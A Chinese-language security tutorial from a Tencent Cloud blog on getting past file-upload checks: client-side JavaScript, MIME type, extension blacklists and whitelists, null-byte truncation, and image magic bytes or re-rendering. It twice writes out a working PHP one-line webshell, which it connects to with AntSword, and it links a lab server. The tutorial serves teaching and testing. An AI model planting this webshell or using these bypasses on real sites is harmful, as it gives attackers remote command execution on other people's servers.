前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >WEB安全基础 - - -文件上传(文件上传绕过)

WEB安全基础 - - -文件上传(文件上传绕过)

作者头像
干掉芹菜
发布2022-11-19 14:21:20
3.6K0
发布2022-11-19 14:21:20
举报
文章被收录于专栏:网络安全615网络安全615

目录

一,绕过客户端检测

原理:

方法:

实例操作

 绕过服务端检测

绕过MIME类型检测

原理:

方法:

实例:

 绕过文件后缀检测-黑名单

黑名单:

绕过方法

实例

绕过文件后缀检测-白名单

白名单:

绕过方法:

绕过文件内容检测

方法:

常见图片类型的文件幻数如下:

文件加载检测

1. 对渲染/加载测试攻击 - 代码注入绕过

2. 二次渲染的攻击方式 - 攻击文件加载器自身

一,绕过客户端检测

原理:

通常在上传页面里含有专门检测文件上传的 JavaScript 代码,最常见的就是检测文件类型和展名是否合法。

方法:

在本地浏览器客户端禁用 JS 即可;

使用火狐浏览器的 Noscript 插件、

IE 中禁用 JS 等方式实现,利用 burpsuite 可以绕过一切客户端检测。

实例操作

JavaScript 绕过

第一步,编写一个一句话木马,保存为php格式

<?php eval($_POST["cmd"]);?>

第二步,上传这个php文件,发现上传失败

 第三步,关闭egde中的js,步骤如下

找到设置

 再cookie和网站数据中关闭JavaScript

 第四步,再次上传php文件

 检查有无上传成功

第五步,使用中国蚁剑密码连接

 连接成功

 点开目录列表,找到了文件上传成功的文件

绕过服务端检测

服务端的代码通常检测三个点:MIME类型、文件内容、文件后缀

绕过MIME类型检测

常见的mime类型

1. 超文本标记语言文本 .html text/html 2. 普通文本 .txt text/plain 3. PDF 文档 .pdf application/pdf 4. Microsoft Word 文件 .word application/msword 5. PNG 图像 .png image/png 6. GIF 图形 .gif image/gif 7. JPEG 图形 .jpeg,.jpg image/jpeg 8. au 声音文件 .au audio/basic 9. MPEG 文件 .mpg,.mpeg video/mpeg 10. AVI 文件 .avi video/x-msvideo 11. GZIP 文件 .gz application/x-gzip

原理:

检测图片类型文件上传过程中 http 包的 Content - Type 字段的值,来判断上传文件是否合法。

方法:

用 burpsuite 截取并修改数据包中文件的 content - type 类型进行绕过。

实例:

MIME 绕过

第一步,编写一句话木马

<?php eval($_POST["cmd"]);?>

 第二步,上传php文件发现不能上传,使用burpsuite抓取upload上传信息查看content-type将其修改为image/jpeg格式,点击Forward发送到浏览器

第三步 ,查看文件有无上传成功

再次使用中国蚁剑连接,发现上传成功 

绕过文件后缀检测-黑名单

黑名单:

扩展名在黑名单中为不合法,一般有个专门的黑名单列表,里面会包含常见的危险脚本文件。

绕过方法

1. 后缀大小写绕过:(.Php)

在对后缀的判断中,如果只是对字符串进行单独的比较来判断是不是限制文件,可以采用后缀名大

小写绕过形式。

2. 空格绕过:(.php)

如果黑名单没有对后缀名进行去空处理,可以通过在后缀名后加空进行绕过。

3. 点绕过:(.php.)

如果黑名单没有对后缀名进行去 . 处理,利用 Windows 系统的文件名特性,会自动去掉后缀名最后

的 . ,通过在文件名后加 . 进行绕过。

4. ::$DATA 绕过:

如果黑名单没有对后缀名进行去::$DATA 处理,利用 Windows 下 NTFS 文件系统的一个特性,可以在 后缀名后加::$DATA ,绕过对黑名单的检测。

5. 配合Apache解析漏洞:

Apache 解析有一个特点,解析文件时是从右往左判断,如果为不可识别解析再往左判断,如

aa.php.owf.rar 文件, Apache 不可识别解析 ‘.owf’ 和 ‘.rar’ 这两种后缀,会解析成 .php 文件。

6. .htaccess 文件:

配合名单列表绕过,上传一个自定义的 .htaccess ,就可以轻松绕过各种检测 .htaccess 文件 ( 或者 " 分布式配置文件 " ) , 全称是 Hypertext Access ( 超文本入口 ) 。提供了针对目录改 变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。

实例

http://120.27.61.239:8003/source/04/index.php

绕过文件后缀检测-白名单

白名单:

文件扩展名不在白名单中为不合法。

绕过方法:

服务端判断文件类型是从后往前判断,而对文件解析是从前往后解析,可以利用 00 截断的方

式进行绕过,包括MIME修改、%00截断、0x00截断 。 

%00截断: url 发送到服务器后被服务器解码,这时还没有传到验证函数,也就是说验证函数里接收到的不是 %00 字符,而 是 %00 解码后的内容,即解码成了 0x00 。 0x00截断: 系统在对文件名进行读取时,如果遇到 0x00 ,就会认为读取已经结束。但要注意是文件的十六进制内容里的 00 ,而不是文件名中的 00 。

绕过文件内容检测

一般通过检测文件内容来判断上传文件是否合法

方法:

1. 通过检测上传文件内容开始处的文件幻数来判断。

2. 文件加载检测 一般是调用API或函数对文件进行加载测试。常见的是图像渲染测试,再严格点的甚至是进行二次渲染。

常见图片类型的文件幻数如下:

要绕过 jpg 文件幻数检测就要在文件开头写上下面的值:

Value = FF D8 FF E0 00 10 4A 46 49 46

要绕过 gif 文件幻数检测就要在文件开头写上下面的值:

Value = 47 49 46 38 39 61

要绕过 png 文件幻数检测就要在文件开头写上下面的值:

Value = 89 50 4E 47

然后在文件幻数后面加上自己的一句话木马代码就行了

文件头绕过

文件加载检测

一般是调用API 或函数去进行文件加载测试,我们常见的是图像渲染测试,严格的进行二次渲染。

对渲染 / 加载测试的攻击方式是代码注入绕过

对二次渲染的攻击方式是攻击文件加载器自身

1. 对渲染/加载测试攻击 - 代码注入绕过

可以用图像处理软件对一张图片进行代码注入

这类攻击的原理是:在不破坏文件本身的渲染情况下找一个空白区进行填充代码, 一般是图片的注释 区 ,这样能保证本身文件结构是完整的,对于渲染测试基本上都能绕过

2. 二次渲染的攻击方式 - 攻击文件加载器自身

这种情况下无法用代码注入绕过,二次渲染相当于吧原本属于图像数据的部分抓出来,在用自己的 API 或 函数进行重新渲染,而非图像数据部分直接被隔离开了。

我们可以用溢出攻击对文件加载器进行攻击,上传自己的恶意文件后,服务器上的文件加载器会主动进 行加载测试,加载测试时被溢出攻击执行shellcode 。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-07-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一,绕过客户端检测
    • 原理:
      • 方法:
        • 实例操作
        • 绕过服务端检测
        • 绕过MIME类型检测
          • 原理:
            • 方法:
              • 实例:
              • 绕过文件后缀检测-黑名单
                • 黑名单:
                  • 绕过方法
                    • 实例
                    • 绕过文件后缀检测-白名单
                      • 白名单:
                        • 绕过方法:
                        • 绕过文件内容检测
                          • 方法:
                            • 常见图片类型的文件幻数如下:
                            • 1. 对渲染/加载测试攻击 - 代码注入绕过
                            • 2. 二次渲染的攻击方式 - 攻击文件加载器自身
                        • 文件加载检测
                        相关产品与服务
                        领券
                        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档